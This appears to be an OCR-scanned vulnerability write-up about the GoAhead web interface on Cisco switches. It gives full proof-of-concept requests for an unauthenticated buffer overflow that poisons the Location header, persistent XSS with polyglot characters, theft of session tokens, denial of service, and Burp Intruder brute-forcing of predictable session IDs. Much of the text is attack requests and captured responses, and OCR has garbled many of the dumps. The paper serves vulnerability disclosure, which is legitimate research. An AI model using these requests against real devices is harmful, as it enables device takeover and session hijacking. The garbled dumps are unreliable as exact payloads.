=deviceStatusCode=
o
=/deviceStatusCode=
<statusString=
Request Is not authenticated
=/statusString=
=fActionStatus=
=/Responselata=
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After this malformed request is processed, all future LOCATION tags are tampered. Here,
an authenticated request by the victim is supplied via normal use. The POST request

supplied via the victim's authenticated user session during a legitimate authenticated use is
revealed via the field and this injection attack (192.168.1.240&885000):

HTTP/1.,1 362 Redirect
Server: Gonbhead-Wehs

-Frame-Uptlons: SAMEURLGIN
ocation: AAAAAAAAAAAAARAAAAAAAAAAMAAAARARAAMAA/wcd</requestURL>

=/statusString=
=/AcUserId=192,168.1, 24045885000/

<html=
<head=
=fhead=
i

This document has moved to a new =a href="AAARAAARAAAAARAAARARAAARALARARAARAALA wod=/request URL>

-=--'-!|'II"P|'T|'E'I il N L T et e oA 1 ocation</a

Fl’lease update your documents to reflect the new location.
From exposure of this information:

e A remote attacker can now spécificallytarget this\IP address and token for exploitation via
methods described previously.

e The remote attacker can hijack and take full'control of the switch.

e The remote attacker can further control the field through advanced manipulation of the
request, clearing thé dafa from the headers or rewriting it in any manner desired.

e This type of exploitation disguises the attack from typical security controls and audit
through novel injection & encoding techniques.

Shown here, the attacker has,determined the exact length required to control the
LOCATION header precisely using fuzzing techniques:

HTITP/1.1 30Z Rediresct
server: GoAhead-Webs
Date:

Commeaction: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: teaxt/html

Z-Frame-gpCclorgk SAHECRIGIHN
Locatio < /regquestURL>
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@ @
Thus, the token’'s exposure is removed from the tampered headers via this precisely
controlled unauthenticated request:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIZ34567891234567891
23456789123456789123456789123456789123456789123456789123456789123456789X/1234567890/

wed?{DictionariesList}

This specially crafted request clearsithe buffer and ‘resefs” the web application to normal
operation.
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PROCESSION - Understanding Unsanitized Input and Persistent XSS on Layer ‘7 Devices

A simple and powerful exploitation / injection can be demonstrated using a limited set of
unsanitized characters and the exploit disclosed to Cisco as PROCESSION:

<./;' [l=->":=+_"123456789123456789

These characters were chosen for their usefulness in polyglot exploitation. These
characters are delimiters in common markup languages (HTML) and can be abused for
advanced attacks. (JNLP Injection, Polyglot Payloads, Covert Protocol Creation)

PROCESSION - Fuzzing and Determining Sanitization Depth

An untampered header is viewed via typical request. Notably, this is plaintext and no
markup is currently injected or present. By default, the Cisco switch provides this
LOCATION header response as part of several unauthenticated functions / pages.

HTTP/1.1 302 BRedirecrt
Server: GoAhesad-W=hs

Date:

Connection: close

Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
K-Fram=-Options: SAMEORIGIN
Location: / f

<html>
<head>
</ head>
<hodys
This document has moved to a new <a hresf="/ "
location

<fas
Please update your documents to reflect the new location.

</body>

</ html>

Via extensive fuzzing and “spraying” of this request, the attacker can determine the size of
the affected buffer (“window”). Using repeated character strings and markers, the exact
entry point of attacker controllable space can also determined.

Understanding this, the attacker identifies special characters and abusive markup which
can be persistently stored and determines how the application handles this input:

<.[;' [l=->";":=+_"123456789123456789
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The attacker inputs a specially crafted URL, abusing the reflected input and determines the
application’s sanitization depth. The attacker sprays the buffer to the appropriate position
to enable enumerate usable characters in the attackable space. At this controllable
position, the attacker inputs the previously identified characters:

<.[;' [l=->";":=+_"123456789123456789

Raw Hex n =

1 GET
AAARAR AN A A AR A AR AR AR A A R A AR AR AR A A A A R A A R AR AR A A A AR A A R AR A A A R AR AR AR A AR A AR AR AR A AR AR AARARARRARALMAAR
AAARARAA A AR A AR R AR A A AR AR AR A A A AR AR AR A AR AR AR AR A AR AR AR AR AR RN ARAMRAR
AAABMARAAAR AR AR R AR AR AR AR A AR AR AR R AR AR A AR AR A AR AR AR R A A AR A AR AR A AR AR AR A AR AR A AR AR AR AR AR AR ARAAAARARRAR
AAMNAMARAARAARA AR AR AR AR AR A AR A AR R AR AR A AR AR AR A R AR AR AR AR AR AR AR AR AR AN AR RARAAARANAARARRAR
AAARAR AR A A AR A AR A A A A A AR AR AR A A A A A AR AR AR A A A A A A R AR AR A AR A A AR AR AR A AR AR AR AR AR A AR AR AR AR ALMAAR
AAARRRA AR AR AR AR AR A AR A AR AR AR A A AR AR AR AR AR AR AR AR AR AR AR AR A A AR AR A RARAARAR AR RARARRAR
AAAAARAAAABR AR R A A AR AR A AR A AR A AR A A A AR A AR AR AR AR AR A A A AR A AR AR AR AR AR AR AR A AR AAAAAARARAARARAAAARARAAR
AAMAMARAAAARARRARARAAR AR AR AR AR A AR A AR AR AR AR AR AR ARARAA AR A ARANAARARAARARAAAARARRAR
AAARARANA AR AR A AR AR AR A A A AR AR AR A A A AR AR AR A AR A AR AR AR A AR AR AR AR AR AR AARARARA AR AR AARARARRARAMAAR
AAARAAA A AR A AR AR A A A AR AR AR A AR A AR AR AR A AR AR AR A AR AR AR AR AR AR AR AR ARARAARARAMRAR
AAARAAMAAAARARAARARAAA AR AARARAL |CD345E7EO12345678091234567891234567801C234567E0123456789123456789123
456789123456 789 123456789/ 12345 0S80 EEESEEEEE LSRR
O R R e D O
LESE S EEEEEESEEEEEEEEERESEEEE S S XX<,.!;'[]=—>':":=+_"l:3456?89123456T89l23 E78912345687891234567
89123456789 123456789 12345678812 2 23 £ 23 i 2 23 E78C B 3456780 1234567891234
S5ETES1Z345E789123456789 123456789 123456780 12345E7E8123456789 123456789 123456789 1234567891234567881
23456789 123456788 123456789123456789123456785123456789123456788123456785 1234567891 2345678912345€67
BY123456789123456789123456789123456789123456789123456789XXXX/ wed? HTTP/ 1.1
2 Host:

Full text PoC of the request:

GET
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAILI456789123456789123456789123456789123456789123456789123456789123456789123456789123456789X
NPEZSTY/EI0) 00000000 V9000000 0.0.0.0.0.00.9.0.00.0.0.0.0.0.0.00.9.0.0.00.0.0.0.0.0.0.0.0.0.0.0.00.0.0.9.0.0.0.00 0.0.0.0.0.0.0.0.0.0.0.9.9.9.9.9.9.0.4
) 0.9.0,0,9. 900,090,000 0.0.0.0:9.9.99,.0.9.0.9.0,00.9.90.000.0.000.0.900.0.0.000.00000.0.000.0.0090.9000.0.0000.0.000.9.000.0.9,00.0.9.909.0,0
XXXKKKXX XXX XXXXXXXXAK <.,/ [1=-

> "=+ _"12345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912
345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912
345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912
3456789123456789123456789123456789123456789X XXX /wed?
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Here, the application has unsafely reflected this input, allowing for direct XSS payloads and

triggering of client-side exploitation. The application’s full response is shown. The

LOCATION header has been persistently poisoned and integrates the malicious input. The
LOCATION tag also mirrors the response body and request:

=

e
_Responsc

F'rletl:g.r
i HTTPfl

Z Serwver:

Date:

Raw Hex Render
302 Bedirect

Goldhead-Webs

4 Connection: close

Fragma:

no—cache

Cache-Control: no-cache
Content-Type: thtfhtml

Location:

_‘-' .l'-l

] s 23456789123456789123456788123456789
/BE1Z23458TB91234587B91234568789123458

345fr891 345fr891 345fr891 3456789 1234567H9 1234567859 123456789123,

512345

8789123456789 123456876859123456785912345a678912345687891234568789

ET7891234567TE89123456789X¥NY/ wod</ requestURL>

L0 | <stat
Ll | <dewvi
12| <stat
L3 </ ke

! </ R

I

<html>

!

usCode=4</statusCodes>
ceStatusCodex0</deviceStatusCode>

usString>Eequest Is not authenticated</statusStrings>
tionStatus:>

esponselatax

<head>

<body>
L This document has moved to a new <a href="<,./;'[]==->':":=

iz </
23 </Re
4 P

Ccysl

*123456789123456789123456789123455789123456789123 4567”91?

[i=]s 3 fd5s 3 gk

fOZ

345£7B912345£7B912 45("“Gl”’45( 8-1“’45 ﬁl“’45{ BS12345&7
SETBY91234587B812345E7B912345E67B912345E6789 1“345c78 123456789
BO91Z3456789 123458789 NN/ wvods/ requestTRL>

<statusCode>

4
</statusCode>
<deviceStatusCode:
0
<fdeviceStatusCodes
<gtatus3tring>
Eequest Is not authenticated
</statusstcring:
Actionstatus>
sponselbatas
ocation
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Viewed as HTML / XML markup in Burp Suite, valid XSS payloads and arbitrary content
can be injected via this attack. Markup tags, attacker sprayed input, and arbitrary code
can be persistently embedded into this response. An attacker only needs to send an overly
long request or to trick a user into visiting a malicious link:

Accept-Ranges: bytes
Connection: close
H-Frame-Options: SAMECRIGIN
csrfroken: (null)

<7?xml wersion='1l.0' encoding='UTF-8'?2>
<Respons=Data>
<hctionStatuss>
<version>

1.0

</wversion>
<regquestTRL>

AL AR AR A AR R A A A A A A A A A A A A A A A A A A A AR A A A A A AR A A R AR A A R A AR AR AR A AR AR AR AR AR
ABRARAANR AR AN A A A A A A A R A A R A AR A A AR A A A A A R AR A R AR AR AR AR AR AR AR AR AR AR RRRA
AAAARARAAAARAAAARRARAARAAAARAAAARAAAAARARAARARAAAARAARAARAAAARAARARAAAAARARAARARAANARAL
AAAARARAAAARAAAARAARAARAAAARAAAARARAA A ARARAAAARA A AARAARAARAAAARAARARAAAAARARAARARAAAARAL
AAAARAAAARARAANAARAARAARAAAARAAAARANANARALAAAAR AN AARAARAARAANAARA A RARAA A AARALARAAARANARARAL
AL AR A AR R AR AR R A R AR A R AR A A A A A A A R A A A A A R A R A A A A A A A R AR A A R A A AR A A A A AR A AR AR R AR ARRA
ALAARAN R AR AN R AR R A R A AR A A AR A A AR A A AR A A AR A A A A A R AR R A R AR R AR AR AR AR AR AR AR AR ARAADA
AAAARARAARARAAAARAARAND AR AR AR AR AR AR AR AR A ARAAR AR AR AARARRAAAARARAARARAAAARLL
AAAARAAAAAARAANAARAARAARAAAARAAAAAAAAAARARAAAARANAARAARAARAAAARAARAAAAANARARANAAAAAAADRAL
AAAARAAAAAADAAAARAARAADANAARAAAAAAAAAARAAAAAARANAARAARAARANAARAARARAA A AARARAAAARANAADRAL
ANRARAN R AR AN R AR AN R AR A A R A A A R A A R A AR R A R AR A R A AR A B AR AR A N AR AN AR AR AR AN AR RARAARA
ALAARABRARARRARALLARAL 23456780 123456780 12345678091234567809 12345678012 345678912345678912
4c5F780 | 23485 7R9 1234579 %/ 12345778500

SRR D D D D D D D 2 B B B D R R R K M R R O K KR

B3 S0C BOHCI S B B S0 B B0 DED BCC 30 DR B0 B0 M SO M MW, L S [ =
';Mi=+ *123456780123456789123456789123456785123456789123456789123456789123456789123
TEY1234567891234567891234567891234587859123456789123456789123458789123456785812345878
3456789 1234568789123458789 123458789 123456789 1234568789 123458789 123456789 1234567891234
BO12345678912345678912345678912345678B912345£789123456789123456789123456789123456789
456789123456 789 23456789 123456789 0345678912345 7R9XKEN/ wed

</ requestURL>

L3 7 = n

<statustods>
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DIRECTIVEFOUR — Understanding Polyglot Exploitation and Advanced Vectors

It is important to understand how this polyglot code and payload strategy enables much
more powerful exploitation. In future requests, this input is persistent & attacker controllable.
Several locations are persistently poisoned which allow for creation of a communications
protocol through further spraying.

After issuing this request, the attacker again requests the default (/) page from the
targeted device. The effect of this attack viewed as a single page of outpafia, 302 redirect:

-ﬁ.

Faw Hex

1 GET / HTTP/1.1
Z Host:

Application Response:

e sk e s
o Cache-Control: no-cache
Content-Type: text/html

Location:

<, 1 []=-=" "=+ *1234567850 23456789 123456789 123456788 1234567891
BB I 4o B I 4L By 1545 YBO 12345780 12345789 12345780 1234587
345E78912345ETBE12345E78912345E78912345E73912345E78912345E7891234
1234578912345 789 123456789 12345789 123456789 12345789 1234567891
789 1234567B9 123458789 XYY,/ wod</ requestURL >

10 «statusCode>d</statusCodes>
<deviceStatusCode>0</deviceitatusCode>

12 «<statusString:Recquest IS not authenticated</statusstring:

13 </ActionStatus:

14 </BesponssDhatax>

15 /

17 <html>

<head:>
) = =

<hbody>

This docuwent has moved to a new <a href="<, . /' []=-=';:":
+ *123456789123456788 123456789 123456789 1234567B912345678812]

Iloagob oY loagaob oY loagob oY loagobiod loagabind laa B fa9 il E

2345789 12345789 123456789 12345789 123456789 12345789 12345878
4578912345789 12345678912345E789123456789123457891234567891
£7891234567B9123456789XX¥¥/ wvod</ requestURL>
15 <statusCode>
s
</statusCode>
20 <deviceltatusCode>

@ CY B I R (267) 540-3337 pg. 21



This poisoning results in full control of HTML / XML output and the application returns

output confirming this request is / was not authenticated. Future requests will integrate this
malformed input injected into application pages & API responses.

/

"H<html>

<head>

</head>

<body>
Thiz document has moved to a newv <a href="<,./;'[]=-2':":=
+ *12345678912345678512345678912345678912345678912345678912345678912345678912345678912345678
9123456785 1234567B9123456789123456789123456785123456785912345678912345678591234567891234567851
2345F7891234567089123456789123456709123456789123456709123456789123456789123456789123456789123
45678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345
ETEY9 123456789 123456T7R9XKYN, wod<,/ request URL>

<statusCode>

4
</statusCods>
<dewvic atusCode>
a

</deviceStatusCode>
<statussStrings
Fequest Is not authenticated
</statusString>
</Actionstatus>
</BesponssData>
/">location
</a>

Abusing this, we can now persistently strdeture‘and spray XML & HTML output. We will
also be using this fo create polyglot files: Any file whichlis correctly marked up, injected,
and reflected can potentially become & persistent payload or malicious code storage
location™.

Closer examination of the LOCATION header provides more insight into the issue and an
even more powerful oppértunity... the primary focus of this paper:

HTTP/1.1 302 Redirect
Serwver: Goldhsad-Webhs
Date:
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html

= . il

Location:
<, ./;'[1==>';":=+ *|234567B9123456789

23456789 1234567689 123456785 123456789 123456785 12345676912345
- - - - 89123456789 123456789 123456780 12345678912345678912345678912
345789123456 7BY 123456780 1234567891234567B0 123456 7891234567809 123456 789123456789 12345678912345678
912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345
ET7BY9 123456785 123456789 NN/ wods/ requestURL>

<statusCode>4</statusCode>

ZideviceStatusCodes>0</deviceStatusCodes

<statusitring>Fecquest Is not authenticated</status3String>

</ActionStatus>

</ResponseDatas

The LOCATION header is carrying the full text of our exploit (fuzzed characters). The
header is also integrating parts of the previous request.

BINGO! This is where we want to be.

*More on that at RSA 2022
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PROCESS/ION —Den/'a/ of Service and Practical Attack Scenarios

You may be asking yourself at this point, “What is happening to the webserver and client
browser?”

Endless 302 redirects integrating this input and amplifying it, then a GO-AHEAD error
message telling us we cannot access the application:

Document Error: Request Entity Toc X+

Pt i d V[Tt g

5E7891234567859123454 < (@] (O
2345678512345678912

BE123456789123456878Y =
Lsczsoio3a567m0123as I;Access Error: Request Entity Too Large \

I'TP Header Field exceeds Supported Size

4 Accept-Encoding: gz
S hcocept: W
€ Connection: close

Succinctly: The default and primary means of administration ordroubleshooting of this
issue is denied to the security analyst or infrastructure engineer attempting to figure
out exactly what is going on.

We have effectively taken full control of thé web interfacéyand can abuse this vector for
complete compromise of the target network.

How?
Token theft. XSS. MiTM. Sending of a speciallyacrafted link... Pick an exploit....
..Or just through getting @an admin’s attention and having them sign in to the web

interface, like rebooting the switchuthrough unauthenticated & unsanitized attacker
controllable input: (See above.)
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PROCESSION - Stealing the SESSIONID cookie and Resuming Normal Operations

“Cleared while troubleshooting” or “Transient Issue” is the security engineer’s version of
“damned if | know.”

This way of thinking is also utterly exploitable and one of my favorite tactics for advanced
exploitation and infiltration of sensitive networks.

Everyone loves a “Star Wars” reference these days: Think of Obi Wan dis@bling the tractor
beam and using the force to trick the guards. They think nothing has happened... but for
Obi Wan, it's just a distraction so he can leave stealthily.

Same idea here.
When the application accepts valid authentication, it maintains state via the, SESSIONID

cookie. This cookie carries a private IP (session) and the numeric€ookie value used to
maintain state (CYBIRPOC in this example:

GET wed?{ports) HTTE/ L. L

oSy
Cookie: useracatus=ok; sessionfD=User Id= ECYBIRPOCE; FontaxUserName=admin; PriviligelLevel=15;
DeviceMode=1; SaveMode=0

If a valid user is logged into the device at the time of the PROCESSION attack (common,
particularly in HA / monitored environments), the LOCATION header will disclose it due to
the malformed request / fuzzed webserver.

This condition is "entirely attacker controllable® and can be used for a single interception /
disclosure of the token;

Raw Hex n = Pretty Raw Hex
1 |G 1 HTTP/1l.1l Z0D0 CK
AAAARARARARAAR AR AR AL AR AR A AR AR AR AL AR AR AL AR A A AR AR AR AR R A A AR A AR A AR AR AR A AR AL AL A AR AR ARAARARALALR Z Content-Type: text/xml
AAAARARARARARR AR AR AR AR A A A A A A AR AR A A A AR AR AR AR A A A AR AR A AR AR AR A A AR AR AR A AR AR AR AR RARARARARALRARL 3 Expires: Thu Apr 09 DI:
AAAARARAAAAARA AR AR AR AR AN A A R AR AR A R AR A AR AR AR AR AR A AR AR AR AR A AR AR AR AR AR AR AR AR AR AARARARAAANARALARARL 4 Date: Thu Apr 09 0IZ:49
BAANARRAAAAR AR AR A A A A A A A A AR A AR A A A A B A AR R A AR AR A AN AR A A AR AR A AR A AR AAAARRAAARRL 5 ¥-M353-Protection: Ll: mode=block
AMDAARARADARARAAR AR AR AR AR R AR AR AR AR AL AR AR AR AR AR A AR AR AR AR A AR AR AR AR AR AR AR AR A DAL AR RARARARARAARALL ¢ Cache-control: no-cache
AAAAAAAAAAR AR AR AR A A A A A A AR A A A A A A A AR AR A A A AR AR A AR A A A A A A A A AR AR A A AR AR AR ARARA AR ARL 7 Pragma: no-cache
AARARARAAAAAL A AR A AR A A A AR A AR AR A A AR A A A AR A AR AR A R AR AR A A AR AR AR AR AR AR AR AR AR AR LA LR ARA 2 Accept-BRanges: bytes
AMARRARAAAAARAARAR AR R AR A AR AR A AR AR AR AR AARAAA AR A AR AR AR AR A AR AARAARAARARARARARAAAARRAALRARE S Connection: close
ALAARARARARALRAR AR AL AR A A AL AL AR AL AL AR AL AL AR AR AR AL AR AL A AR A AR AR AL AL AR RARALARRARARARAARARARALA 10 K-Frams-Options: SAMECRIGIN
AMAARARARAAARAAR AR AR AR AR A AR AR AR AR AL AR AR AR AR A AR AR AL AR AR A AR AR AR AR AR AR AR ARARARAARARARARARRARARL 11 csrftoken: (null
AAMRAARAAARAAARAARARARARAARARALIZ345678091234567801234567891234567891234567891234567891234567858123 12
45E6789123456789123456789X,/ 1234567880/ wed? [Dictionarieslist}| HTTRE/ 1.1 13 <?wml wversion='l.0' encoding='UTF-2'7>
) Data>

Z Host: 14
3 Accept-Encoding: gzip, deflates 5 Icacusz
4 ‘Accept: *f* 16 <version»

5 Connection: close

7 17 <requestURL>

AAAAAAAAAAAAAAAARRARAAARRAAAAAARARARE
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PROCESSION was disclosed to Cisco on 6/2021 via detailed report and scribed
appropriately:

HTTP/1.,1 362 Redirect
Server: Gonbhead-Wehs

-Frame-Uptlons: SAMEURLGIN
ocation: AAAAAAAAAAAAARAAAAAAAAAAMAAAARARAAMAA/wcd</requestURL>

=/statusString=
=/AcUserId=192,168.1, 24045885000/

<html=
<head=
=fhead=
i
This document has moved to a new =a href="AAARAAARAAAAARAAARARAAARALARARAARAALA wod=/request URL>

-=--'-!|'II"P|'T|'E'I il N L T et e oA 1 ocation</a

Flease update your documents to reflect the new location.

Repeated: The IP address of the authenticated séssion: 192.168.1.240 and the TOKEN
885000 s dlisclosed.

From here, the attacker resets this buffer, hijacks this coekie / token, and takes control of
the affected device. This is exploitdble whether the session is via HTTP or HTTPS
*and® whether it was submitted via IPv4 or IPvé.

PoC request URL for “reset”.of application and token theft:

GET
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAIZ3I456789123456789123456789123456789123456789123456789123456789123456789123456789123456789X
/1234567890 /wed?{DictionariesList}
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Upon submission of a request, theft of token, and “reset” by the attacker, the application
has resumed normal operation. The victim is unaware of this attack outside of a vague
error message (shown earlier):

Raw  Hex n = Pretty ~ Raw  Hex  Render

1 GET /| HTTP/L1.1 L HTTP/Ll.l 302 Redirect
2 > Server: GoAhead-Webs

¢ Connection: close
5 Pragma: no-cache
¢ Cache—Control: no-cache

X-Frawme-Options: SANEORIGIN
F Location: /config/log_off_page.htm

i <html>

ady>
This document has moved to a new <a href="/config/log_off_page.htm">
location
N

Please update your documents to reflect the new location.
</body>
</html>

Even the stolen session token remains valid for both the victim AND attacker.
You may be asking yourself, “What if | don't want to goithrough all of that effort?” or “Is
there a totally blind way to do this with BURP Intruder thatirequires absolutely zero elite

hacking skills and no social engineering voodoa?"

The answer is:
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SOUNDBOA/?DEZ - Authentication Bypass and Theft of Sessions through /nseure Management
/ Entropy / Pseudo-Randomization in User Controllable Parameters

The embedded webserver and associated components identify users, authenticating
sessions through the SESSIONID cookie. The format of the cookie is:

session|D=Userld=IPADDRE SSEXX X OOOOXXXK

The first half of the cookie is the IP address of the requestor and the secondshalf is a
pseudorandom positive integer. As a session management and authentication mechanism,
this scheme is highly flawed. 7he provided sessionlDs are entirely user-controllable
and/or lack sufficient randomness / entropy.

L)
o
-

sessionID=UserId=192 10157

Note: This method of session identification & management is corimon across various
implementations of GO-AHEAD.

For a remote attacker, this relatively small numberiof session IDsican allow a simple session
hijack & theft through brute force attacks{It is also passible'te abuse this insecure value for
advanced cryptographic attack, pre-calculation of encrypted values, and decryption of
traffic”.

In this example, the attacker configures BURP to simulate legitimate administration or
polling of the affected device. Recreation of this attack using the following screenshot and
Burp Suite or other type ©f request modification / attacking proxy will demonstrate the
issue:

FHHHML S hell?
FIHINH redli] Eil
VOO 3 g Ji E0%
adil Ll 2a0 L
b HE e i G2
OIS G 200 b0z
T HEE 2ol il
REHHIES ¢ i | Tall
EHHINY A Sl hall
ST o i 3240
200di00 200 {LH
000301 ol ji EOZ
2000102 o TR

=

et}

&02

Note: For demonstration purposes, the attacker sefts the id fo a relatively low number, seen

in the next example (O0O00099).

"See my exploit work “UNSUNG " for more details.
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The attacker sets up a brute force attack via BURP INTRUDER to demonstrate this issue.
The attacker attempts every possible iteration of the session ID, successfully acquires a
session and takes control of the device:

Flol 295 oK

er: Dodnead-Aeos

gnt Type: feet htul

res; TP, R o N o T B 6 5 R R e L |
ani ro-cache

g-cartral @ na-cache

B-Prelettior: 1 mnce=hlick
ECtien glipzs

faare1nns.

“Parts type="section"
wznl am
41 lisl abns=

csnurk=rofPort e

5
AT -|I" ra=
cinBsaden -1 7 whl ==

As an authentication brute force &Bypass method, this does not lock out the user account.
The devices fail to provide adequate randomization / obfuscation of these requests. This is
a critical design flaw.

Measures to expire this token or session implemented by manufacturers are highly
ineffective due to this bypassior can.be easily defeated. Other measures of setting token
and fixation makéthis countermeasure trivial to bypass. Through detailed examination of
this issue via direct code & firmware access, we discovered the session ID tag is enfirely
user controllable.
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The attacker successfully authenticates using this session ID and simulates use of the
device:

HTTP/1.1 200 DK

Serwver: Golhead-Webs

Content-Type: text/html

Expires: Thu, 2& Oct 1995 00:00:00 GMT
Pragma: no-cache

Cache-control: no-cache
¥-¥353-Frotection: 1l; modes=hlock
Connection: close

<?xml version="1.0" encoding="UTF-8" 2>
<ResponseData>
<DeviceConfiguration>
<version>
1.0
<fversion>
<Ports type="section">
<data>
<portsDataBase>
<numberCfPortss>
et 21
</ nunberOfPorts>
<inBandFortTakle=:>

The attacker again stages an attack against the parameter, thisitime entering the arbitrary
value above. The device successfully authenticates the session and control is hijacked. The

attacker successfully queries the API for ‘a list of switch'ports to demonstrate:

GET /fes2cl3f293/wed?{ports} HTTP/1.1
Host: 192.,168.199.1

Cookie: sessionIfi=UserId=182.168,199, 205&CYEIRPOCE; PeviceMode=

1
User-Agent: Mozilla/5.0 (¥11; Linux x86_64;
Gecko/20100101 Firefox/78.0

Accept:

text/html,application/xhtml+xml,application/xml;g=0.9,image /web

p. ¥ ¥ g=0.8

Accept-Language: en-US,en;ig=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Te: trailers

Connection: close

ST oneAan Al RUNNING ,MULTICAST>

inet 192.168.199.259

CYBIR

rv:78.0)

mt

netmask 255.255.255.8

(267) 540-3337

1 HITP/1.1 200 0K
Z Server: GoAhead-wWebs
2 Content-Tvoe: text/html

10 =?xml version="1.0"

1

<Responselata=
=DeviceConfiguration=
<yersion=
1.0
=fversion=
<Ports type="section"=
=datas
=portsDataBase>
<numberOfPorts=
26
=/nunber0fPorts=
